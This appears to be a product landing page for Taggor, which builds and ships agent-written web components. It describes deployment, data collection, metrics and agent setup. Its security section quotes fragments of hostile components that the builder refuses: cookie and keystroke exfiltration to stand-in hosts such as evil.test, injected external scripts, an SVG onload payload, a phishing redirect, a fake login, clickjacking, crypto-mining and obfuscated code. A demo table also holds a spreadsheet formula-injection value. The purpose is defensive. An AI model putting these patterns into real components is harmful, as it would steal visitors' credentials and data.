A bot gets in. It does not get lost.
A hidden field no person sees marks the bot's submission as suspect. It is kept, labelled and filterable, never dropped without you knowing.
Draft · agent-built components for websites
Ask for a carousel, a pricing table, a store map or a form. Your agent writes the component; Taggor builds it, versions it and puts it on your sites with one script tag.
The logo marquee appears on the site.
Paste this into your agent. It asks you before it signs in or pays.
Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.
02
One script tag per site, pasted once. Each site keeps its own words and colors; one publish updates all of them.
<contact-form />Bakeryruns v7v8
Shopruns v7v8
Clinicruns v7v8
Software productruns v7v8
Illustration: the sites and their businesses are invented. Simulation: nothing leaves this page
See the platforms page. The exact snippet for each framework and platform, with its documented limits, is on the platforms page.
03
Submissions are stored for you, flagged when they look automated and never silently dropped. Filter, export and delete them whenever you want.
contacts| Received | name | message | Suspect | |
|---|---|---|---|---|
| 14:03 | Bot Example | bot@example.net | =HYPERLINK("https://example.invalid/win","Claim your prize") | Suspect |
| 14:02 | Ada Example | ada@example.com | - | |
| 13:42 | Grace Sample | grace@example.org | Do you ship on Fridays? | |
| 13:22 | Alan Test | alan@example.net | Is there a dark theme? |
id,created_at,status,site_id,schema_version,page,country,browser,consent,verification,suspect,name,email,message
sub_demo_0004,2026-11-10T14:03:00.000Z,received,st_demo,1,/contact,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,honeypot,Bot Example,bot@example.net,"'=HYPERLINK(""https://example.invalid/win"",""Claim your prize"")"
sub_demo_0003,2026-11-10T14:02:00.000Z,received,st_demo,1,/contact,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,Ada Example,ada@example.com,
sub_demo_0002,2026-11-10T13:42:00.000Z,received,st_demo,1,/contact,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,Grace Sample,grace@example.org,Do you ship on Fridays?
sub_demo_0001,2026-11-10T13:22:00.000Z,received,st_demo,1,/contact,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,Alan Test,alan@example.net,Is there a dark theme?
votes| Received | poll_id | option | Suspect |
|---|---|---|---|
| 14:02 | lunch | Tacos | |
| 13:42 | lunch | Ramen | |
| 13:22 | lunch | Pizza | |
| 13:02 | lunch | Pizza |
id,created_at,status,site_id,schema_version,page,country,browser,consent,verification,suspect,poll_id,option sub_demo_0004,2026-11-10T14:02:00.000Z,received,st_demo,1,/poll,BR,Chrome,,none,,lunch,Tacos sub_demo_0003,2026-11-10T13:42:00.000Z,received,st_demo,1,/poll,BR,Chrome,,none,,lunch,Ramen sub_demo_0002,2026-11-10T13:22:00.000Z,received,st_demo,1,/poll,BR,Chrome,,none,,lunch,Pizza sub_demo_0001,2026-11-10T13:02:00.000Z,received,st_demo,1,/poll,BR,Chrome,,none,,lunch,Pizza
Minimalist 82%
The result is stored, not the person.
results| Received | quiz_id | profile | percent | Suspect |
|---|---|---|---|---|
| 14:02 | style | Minimalist | 82 | |
| 13:42 | style | Maximalist | 64 | |
| 13:22 | style | Minimalist | 91 |
id,created_at,status,site_id,schema_version,page,country,browser,consent,verification,suspect,quiz_id,profile,percent sub_demo_0003,2026-11-10T14:02:00.000Z,received,st_demo,1,/quiz,BR,Chrome,,none,,style,Minimalist,82 sub_demo_0002,2026-11-10T13:42:00.000Z,received,st_demo,1,/quiz,BR,Chrome,,none,,style,Maximalist,64 sub_demo_0001,2026-11-10T13:22:00.000Z,received,st_demo,1,/quiz,BR,Chrome,,none,,style,Minimalist,91
bookings| Received | date | time | minutes | Suspect |
|---|---|---|---|---|
| 14:02 | 2026-11-14 | 09:00 | 30 | |
| 13:42 | 2026-11-12 | 10:00 | 30 | |
| 13:22 | 2026-11-13 | 15:30 | 30 |
The other fields are in the submission's details and in the file.
id,created_at,status,site_id,schema_version,page,country,browser,consent,verification,suspect,date,time,minutes,name,email
sub_demo_0003,2026-11-10T14:02:00.000Z,received,st_demo,1,/booking,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,2026-11-14,09:00,30,Ada Example,ada@example.com
sub_demo_0002,2026-11-10T13:42:00.000Z,received,st_demo,1,/booking,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,2026-11-12,10:00,30,Grace Sample,grace@example.org
sub_demo_0001,2026-11-10T13:22:00.000Z,received,st_demo,1,/booking,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,2026-11-13,15:30,30,Alan Test,alan@example.net
ratings| Received | stars | comment | Suspect |
|---|---|---|---|
| 14:02 | 5 | - | |
| 13:42 | 5 | Loved it | |
| 13:22 | 4 | - | |
| 13:02 | 5 | - |
id,created_at,status,site_id,schema_version,page,country,browser,consent,verification,suspect,stars,comment sub_demo_0004,2026-11-10T14:02:00.000Z,received,st_demo,1,/rating,BR,Chrome,,none,,5, sub_demo_0003,2026-11-10T13:42:00.000Z,received,st_demo,1,/rating,BR,Chrome,,none,,5,Loved it sub_demo_0002,2026-11-10T13:22:00.000Z,received,st_demo,1,/rating,BR,Chrome,,none,,4, sub_demo_0001,2026-11-10T13:02:00.000Z,received,st_demo,1,/rating,BR,Chrome,,none,,5,
Simulation: nothing leaves this page
A hidden field no person sees marks the bot's submission as suspect. It is kept, labelled and filterable, never dropped without you knowing.
Export builds the file from what the table shows. A cell that starts like a formula gets a quote in front, so opening the file does not run it.
=HYPERLINK("https://example.invalid/win","Claim your prize")'=HYPERLINK("https://example.invalid/win","Claim your prize")The address, the browser string and the referring page hit a wall. Only the page, the country and the browser family pass, and the database refuses any other key.
04
Impressions, interactions and conversions by site, country and device, counted without cookies. In the portal, in the terminal and for your agent.
How your components are doing across the workspace's sites.
taggor metrics --group-by country
production, last 7 days, per day. Not real time; browser events are not verified.
Impressions: 9,949 (component_events, forgeable)
Interactions: 3,104 (component_events, forgeable)
Custom events: 1,174 (component_events, forgeable)
Conversions: 468 (submissions, counted)
Interaction rate: 31.2% (component_events, forgeable)
Conversion rate: 4.7% (component_events, forgeable)The same numbers, one line per metric, each with its source and how far to trust it. Add --json and your agent reads them.
Illustrative numbers
A conversion is a submission Taggor stored, so it is counted. What a browser reports can be inflated by anyone who knows a site key, so it is labelled forgeable and no bill rests on it.
When a visitor's browser sends Global Privacy Control or Do Not Track, only the render is counted. A country is two letters and a device is one of four classes: no visitor id, no IP address and no user agent is stored for a metric.
When a component throws in a visitor's browser, the runtime reports it. Each version gets its errors divided by its mounts, a signal to read before you promote.
05
Every card below is a real Taggor component, delivered to this page by Taggor the way it reaches your sites. Go ahead and use them.
Your agent writes it. Taggor checks it, ships it and keeps every version.
06
Your agent declares props, events and data once. Taggor turns them into controls, types and code for each framework.
rate: prop.number({
description: "Monthly interest rate, in percent.",
min: 0,
max: 20,
step: 0.01,
default: 1.2,
}),emit("simulate", {
amount: nextAmount,
months: nextMonths,
installment: installment(nextAmount, props.rate, nextMonths),
});"--fs-accent": { type: "color", default: "#0a7d5a", description: "Accent and button color." },track: { simulate: { props: { months: { type: "number", integer: true, min: 1 } } } },locales: { default: "pt-BR", messages: { "pt-BR": ptBR, en } },finance-simulator.d.tssha256-…quick-poll/src/index.tsx
import { defineTaggorComponent, prop, useTaggorData } from "@taggor/component";
export default defineTaggorComponent({
name: "quick-poll",
tag: "quick-poll",
props: {
question: prop.string({ maxLength: 200, default: "Which feature first?" }),
options: prop.array({ items: { type: "string" }, default: ["Dark mode", "Mobile app"] }),
},
data: {
collections: {
votes: { fields: { option: { type: "string", maxLength: 80 } }, required: ["option"] },
},
},
cssVars: {
"--qp-accent": { type: "color", default: "#7c3aed", description: "Button color." },
},
styles: ({ cssVar }) => [
`button { background: ${cssVar("--qp-accent")}; color: #fff; border-radius: 999px }`,
],
render: (props, context) => {
const votes = useTaggorData(context, "votes");
if (votes.status === "success") return <p>Thanks for voting!</p>;
return (
<fieldset>
<legend>{props.question}</legend>
{props.options.map((option) => (
<button onClick={() => votes.submit({ option })}>{option}</button>
))}
</fieldset>
);
},
});Props, a data collection, a style knob and what it renders. Shortened from examples/quick-poll.
index.html · <head>
<script async src="https://cdn.taggorcdn.com/s/<site-key>.js"></script>
The same line on every page of the site. It loads only the components the page uses.
index.html · <body>
<quick-poll
question="Which feature first?"
options='["Dark mode","Mobile app","WhatsApp"]'
style="--qp-accent: #0f766e"
></quick-poll>Each site gives its own words and colors. Publishing a new version needs no change here.
07
The numbers first, then the small things that are easy to miss.
hash 90c349afd8f63293…Locked: the same bytes, always.Your agent's code is treated as untrusted: built with no network, scanned against our rules, and refused with the file and line when something is wrong.
Removing a prop a site relies on stops the publish to production until you say it may go.
Staging and production each point at a version. Rolling back moves the pointer; nothing is rebuilt.
The loader and the runtime set no cookie, write nothing to storage and fingerprint no one. Visitor counts carry no personal data.
Each component runs behind its own error boundary: if one throws, the rest of the page keeps working.
3 KiB Loader size ceiling (gzip), checked before every Taggor release
Loader size ceiling (gzip), checked before every Taggor release
An agency keeps each client's sites together, in one workspace.
10,100 of 10,000
101% used Reached at 100%
200 of 250
80% used Warning at 80%
Still here, still normal.
A component Rendering normally
Nothing changes for your visitors when a meter fills.
Illustrative numbers
Renders and submissions per site, counted without cookies. You are warned at 80% and at 100%; your visitors never see a thing.
Each component comes with a generated declaration file, so the site's editor checks its props.
before-after-sliderbooking-pickerbudget-calculatorcard-carouselcontact-formdownloadeddata-tablefaq-accordiondownloadedfeedback-collectorfinance-simulatorlaunch-countdownThe manifest lists 10 components. This page has 2 of them, so 2 bundles download.
Focus is on the pageFocus is inside the component
Press Tab: focus goes through the page, enters the component and comes out, in order, as it would with a native field.
The loader has a hard ceiling, checked before every Taggor release. Next to a file this page already downloads:
A component carries its messages in each language you give it and shows the visitor's.
Every documentation page also exists as Markdown at the same address with .md, and llms.txt lists the main ones.
Pull any published version into a project folder, so the source is never only on our side.
taggor dev serves a local preview with hot reload, so your agent sees what it just changed.
taggor login shows a short code in the terminal; you approve the same code on the portal's /device page.
The portal's onboarding waits for the first version your agent publishes and ticks the step.
Your visitors see your component, never a “Made with Taggor” label.
A new submission can email you, so you hear about it without opening the portal.
Illustrations, drawn for this page.
08
Your agent fixes its own build errors. Its code is treated as untrusted and scanned on every publish, and each component runs in a box of its own on your page.
Swipe sideways through the steps
Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.taggor init --agent claudeCreated the project in ~/.taggor/projects/rich-note with the component rich-note. wrote taggor.json wrote components/rich-note/src/index.tsxAgent files (bundle 0.6.0) for claude: wrote .claude/skills/taggor/SKILL.md wrote CLAUDE.mdtaggor checkfailed: rich-note (1 error(s), 0 warning(s))components/rich-note/src/index.tsx:15:36 error UNSAFE_HTML_SINK: a string written as HTML can run script (rule html-sink): innerHTML with a string that is not a fixed literal if (box.current) box.current.innerHTML = message; hint: Render the content with JSX ({message} is escaped), or set textContent; for formatting, accept structured data (a list of paragraphs, bold ranges) instead of HTML.1 of 1 component(s) would fail the publication gates (1 error(s)).agent: the hint says to render with JSX. Editing src/index.tsx.--- src/index.tsx- 13 const box = useRef<HTMLDivElement>(null);- 14 useEffect(() => {- 15 if (box.current) box.current.innerHTML = message;- 16 }, [message]);- 17 return <div ref={box} />;+ return <div>{message}</div>;taggor checkok: rich-note passed 3 gate(s)1 component(s) checked, all publishable.taggor publishUploaded. Build bld_….Build bld_…: queuedBuild bld_…: buildingBuild bld_…: checkingBuild bld_…: succeeded preview: https://<preview host>/p/<token>taggor logs rich-note --followBuild bld_… (newest version of rich-note)[queued] passed[resolving] passed[compiling] passed[gate:typecheck] passed[gate:size] passed[gate:security] passed[build] succeeded (0 errors, 0 warnings)19 components written to attack the host page or its visitors: the real corpus our builder is tested against. Each one is refused with its code, the file and the line.
Refused: SECRET_IN_SOURCE
.env · src/config.ts
taggor publishLeft out .env: it looks like a credential and is never packaged.src/config.ts:1:24 error SECRET_IN_SOURCE: a GitHub token (ghp_…) is in the component's source; the bundle is public, so the build refuses it1 secret(s) found in the component's files (values are masked). Nothing was sent: the bundle is public. Remove them and rotate the keys.A .env file, a key file or a token written in the code is stopped by the CLI before anything is sent, and the value is masked in the message.
Refused: VIEWPORT_OVERLAY
src/index.tsx:10
9 description: "A ribbon with today's promotion.",10 styles: ":host { position: fixed; inset: 0; z-index: 2147483647; opacity: 0.01 }",11 render: () => <a href="https://offers.example.net/">Today only</a>,Fixes the invisible host over the whole viewport to take the page's clicks (clickjacking).
Refused: CREDENTIAL_CAPTURE
src/index.tsx:31
30 <form onSubmit={onSubmit}>31 <p>Your session has expired. Sign in with Google to continue.</p>32 <input name="email" type="email" autocomplete="username" />A look-alike login that stores the visitor's password through a Taggor collection (T-61).
Refused: MINING_PATTERN
src/index.tsx:8
7 8const WORKER_SOURCE = `9let nonce = 0;A Blob worker that hashes in a loop and talks Stratum to a mining pool over a WebSocket.
Refused: UNDECLARED_NETWORK
src/index.tsx:13
12 useEffect(() => {13 void fetch("https://collector.evil.test/c", {14 method: "POST",Reads document.cookie and posts it to an undeclared origin.
Refused: UNSAFE_DOCUMENT_WRITE
src/index.tsx:14
13 onClick={() => {14 document.open();15 document.write(document.write on a click, replacing the host page with a card form.
Refused: MANIFEST_EXTRACTION_FAILED
src/index.tsx:5
4 5const greeting = eval('"hello"') as string;6 eval at the top level of the module: the locked-down manifest extraction (no code generation from strings) already fails it.
Refused: UNSAFE_EVAL
src/index.tsx:18
17 const input = (event.currentTarget as HTMLFormElement).elements.namedItem("expr");18 setResult(String(eval((input as HTMLInputElement).value)));19 }}eval on what the visitor types, inside an event handler.
Refused: UNSAFE_SCRIPT_ELEMENT
src/index.tsx:13
12 useEffect(() => {13 const script = document.createElement("script");14 script.src = "https://cdn.evil.test/payload.js";Appends an external <script> to the host page's head, outside the shadow root.
Refused: CONSENT_FORGED
src/index.tsx:21
20 useEffect(() => {21 consent.setGiven(true);22 }, []);Ticks the consent box itself in an effect, so the proof of consent is forged.
Refused: UNDECLARED_NETWORK
src/index.tsx:14
13 const pixel = new Image();14 pixel.src = "https://pixel.example.net/p.gif?v=" + encodeURIComponent(value);15 };Sends what the visitor types in the URL of a hidden image, to an undeclared origin.
Refused: UNSAFE_HTML_SINK
src/index.tsx:15
14 useEffect(() => {15 if (box.current) box.current.innerHTML = message;16 }, [message]);Writes a string prop (an attribute of the page) through innerHTML.
Refused: UNSAFE_FUNCTION_CONSTRUCTOR
src/index.tsx:12
11 render: ({ formula }) => {12 const compute = new Function(`return (${formula});`) as () => unknown;13 return <output>{String(compute())}</output>;new Function over a string prop, so the page's attribute becomes code.
Refused: OBFUSCATED_CODE
src/index.tsx:15
14 useEffect(() => {15 const code = atob(atob(PAYLOAD));16 const probe = atob("ZmV0Y2goJ2h0dHBzOi8vYy5leGFtcGxlLm5ldCcp");Hides its payload in base64 inside base64, base64 of code and a name spelled in character codes.
Refused: UNSAFE_PREACT_INTERNALS
src/index.tsx:6
5 const consent = useConsent(props.context, props.componentInputProps);6 for (const hook of this.__H.__) {7 const dispatch = hook.__?.[1];Dispatches consent through Preact's mangled hook state instead of a visitor action.
Refused: UNSAFE_STRING_TIMER
src/index.tsx:14
13 useEffect(() => {14 const run = setTimeout as unknown as (code: string, ms: number) => number;15 run(action, 1000);setTimeout with a string built from a prop, an eval in disguise.
Refused: ASSET_SVG_UNSAFE
src/badge.svg:1
1<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10" onload="fetch('https://evil.example/c?' + document.cookie)">2 <script>top.location = "https://evil.example/phish";</script>An SVG asset with a <script> and an onload handler (TAG-410): refused with ASSET_SVG_UNSAFE at each line, nothing published.
Refused: UNSAFE_TAGGOR_GLOBAL
src/index.tsx:15
14 const original = host.taggor;15 Object.defineProperty(window, "taggor", {16 configurable: true,Replaces the host page's taggor API to read the other components' events.
Refused: UNDECLARED_NETWORK
src/index.tsx:14
13 const timer = setTimeout(() => {14 (window.top ?? window).location.href = "https://login.phish.test/account";15 }, 3000);Navigates the top window to a look-alike login page after mounting.
Refused: UNDECLARED_NETWORK
src/index.tsx:15
14 void fetch("https://api.store.example.com/quote?q=" + encodeURIComponent(value));15 void fetch("https://collector.example.net/keys", { method: "POST", body: value });16 };Declares the store's API and also sends what the visitor types to an undeclared origin.
Real diagnostics from the builder's test corpus
Asked to create an API key, the agent gets a refusal that names the exact portal page and the steps for you. It does not retry and it does not look for a way around.
agent: I need an API key.403 human_action_requiredThis is for a person, not an agent: Create an API key or token. Do not retry it. Tell the person to open /w/<workspace-slug>/settings/api-keys in the portal (<workspace-slug> is the workspace slug) and: 1. Sign in to the portal and open the workspace. 2. Open Settings, then API keys. 3. Choose Create key, name it and pick the smallest set of scopes it needs. 4. Copy the key once, when it is shown, into the tool that needs it; do not paste it into a chat.What the CLI relays to the agent, from the contract's catalog
Every docs page also exists as Markdown at the same address with .md, so an agent reads the page without the page around it.
GET /docs/quickstart.md# CLI quickstartFrom an empty directory to a component on a test site, with the taggor CLI.## Before you start## 1. Download the CLI and check its hash## 2. Sign in## 3. Create the first componentThe head of a real docs page, as Markdown
If one throws, or Taggor is down, the rest of your page stays as it was. Try it, then read what each layer does.
Its own text, its own button, three components.
pressed 0 times
click-counterCounterCounts, with its own button.+click-counterthe content inside the tagNo clicks yet, as the page wrote it.promo-bannerPromo bannerA line and a link.→promo-bannerthe content inside the tagThe page's own line of text.faq-accordionQuestionsOpens and closes.▾faq-accordionthe content inside the tagThe questions as plain text.Errors on the page:
Press a button. The page counts its own errors.
One component threw. Only that one fell back to the content you wrote inside its tag; the other two kept running.
The page's buttons turned yellow with !important. The components kept their own look: the page's CSS does not cross the Shadow DOM.
With Taggor off, each tag shows the content inside it, and the page stays clickable.
Replay of our test suites From the chaos suite (a bundle that throws, the CDN down) and the compatibility matrix (a hostile page stylesheet).
09
The doubts we would have too, answered with the thing itself: each answer points at the part of this page that proves it.
Keep the code in your repo. Taggor keeps what comes after it: versions that never change, two channels and an undo button.
a41f09c23c9e07b25d17e6a0Production points at v8.
Production is back on v7: the same build, byte for byte, hash 3c9e07b2.
Undo moves the pointer; sites follow in about 60 s, with nothing rebuilt.
Simulation: nothing leaves this page
Good for that platform. Taggor is neutral: your own agent writes the component, and one snippet puts it on the site you choose.
A fair worry, so it is boxed in: if a component throws, or Taggor is down, your page stays as it was.
Yes, served from Cloudflare's global network. Yes, a tiny loader.
3 KiB Loader size ceiling (gzip), checked before every Taggor release
Staging comes first, every version is kept and going back is one move. What visitors write never becomes an instruction.
Some are, and a plain form may be all you need. When it should be your own component, Taggor keeps the component and its data in one place.
Cookieless by default, and what you collect belongs to you.
Customer code is treated as untrusted. It is built in an isolated container, scanned on every publish (code that uses eval, writes cookies or storage, or reaches an undeclared network address is refused), and it runs in the browser inside a Shadow DOM with an error boundary. More in the docs.
The loader is a small async script with a size budget enforced in CI, and it fetches only the components that site uses. We publish no speed numbers until we have measured them on a real site. More in the docs.
The page is left as it was. If the loader or a bundle cannot be reached, the page stays usable, and the fallback content you wrote inside the tag stays visible. More in the docs.
The component is TypeScript source in your own folder, and the data it collects exports as CSV or NDJSON. Remove the snippet and the page is as it was before. More in the docs.
The loader and the runtime set no cookie and do not fingerprint the visitor. If a component collects personal data, it shows a consent box and each submission keeps a proof of what the visitor accepted. More in the docs.
You do, through your own agent. Taggor runs no model on your components: your agent writes them with the SDK, and Taggor builds and delivers what it publishes. More in the docs.
Those that let you add a script tag, with the limits each platform documents. The platforms page says which ones we ran and which we only read from the platform's own help. More in the docs.
Free costs $0, Pro costs $14 a month and Agency costs $49 a month. Every plan has every feature; plans differ in volume.
10
Paste the prompt into your coding agent. It reads the setup page, installs Taggor and asks you before it signs in, creates an account or pays.
One-line prompt for your agent
Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.
taggor init --agent writes the file your agent reads. Pick yours to see what it gets.
File in your project: .claude/skills/taggor/SKILL.md
---name: taggor--- ## Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP answers `human_action_required`, tell the person the portal page and the steps it names, and do not retry or look for a way around it. 3. **Fix** every diagnostic by its `code` and `hint` (`error.errors[]` in the JSON, and the `docs_url` it carries). Change the code, never the check. Go back to 2 until it exits `0`. [references/troubleshooting.md](references/troubleshooting.md) lists the exit codes and what to do.A skill, plus a Taggor block in CLAUDE.md. Same rule, line for line, in all three.
File in your project: AGENTS.md
<!-- taggor:start --><!-- taggor:bundle 0.6.0 -->## Taggor components### Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP answers `human_action_required`, tell the person the portal page and the steps it names, and do not retry or look for a way around it. 3. Fix each diagnostic by its `code` and `hint`, then check again, until it exits `0`.A Taggor block in AGENTS.md; any agent that reads AGENTS.md gets it. Same rule, line for line, in all three.
File in your project: .cursor/rules/taggor.mdc
---description: Taggor components: how to write, check and publish themalwaysApply: true--- <!-- taggor:start --><!-- taggor:bundle 0.6.0 -->## Taggor components### Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP answers `human_action_required`, tell the person the portal page and the steps it names, and do not retry or look for a way around it. 3. Fix each diagnostic by its `code` and `hint`, then check again, until it exits `0`.A rules file that applies in every chat. Same rule, line for line, in all three.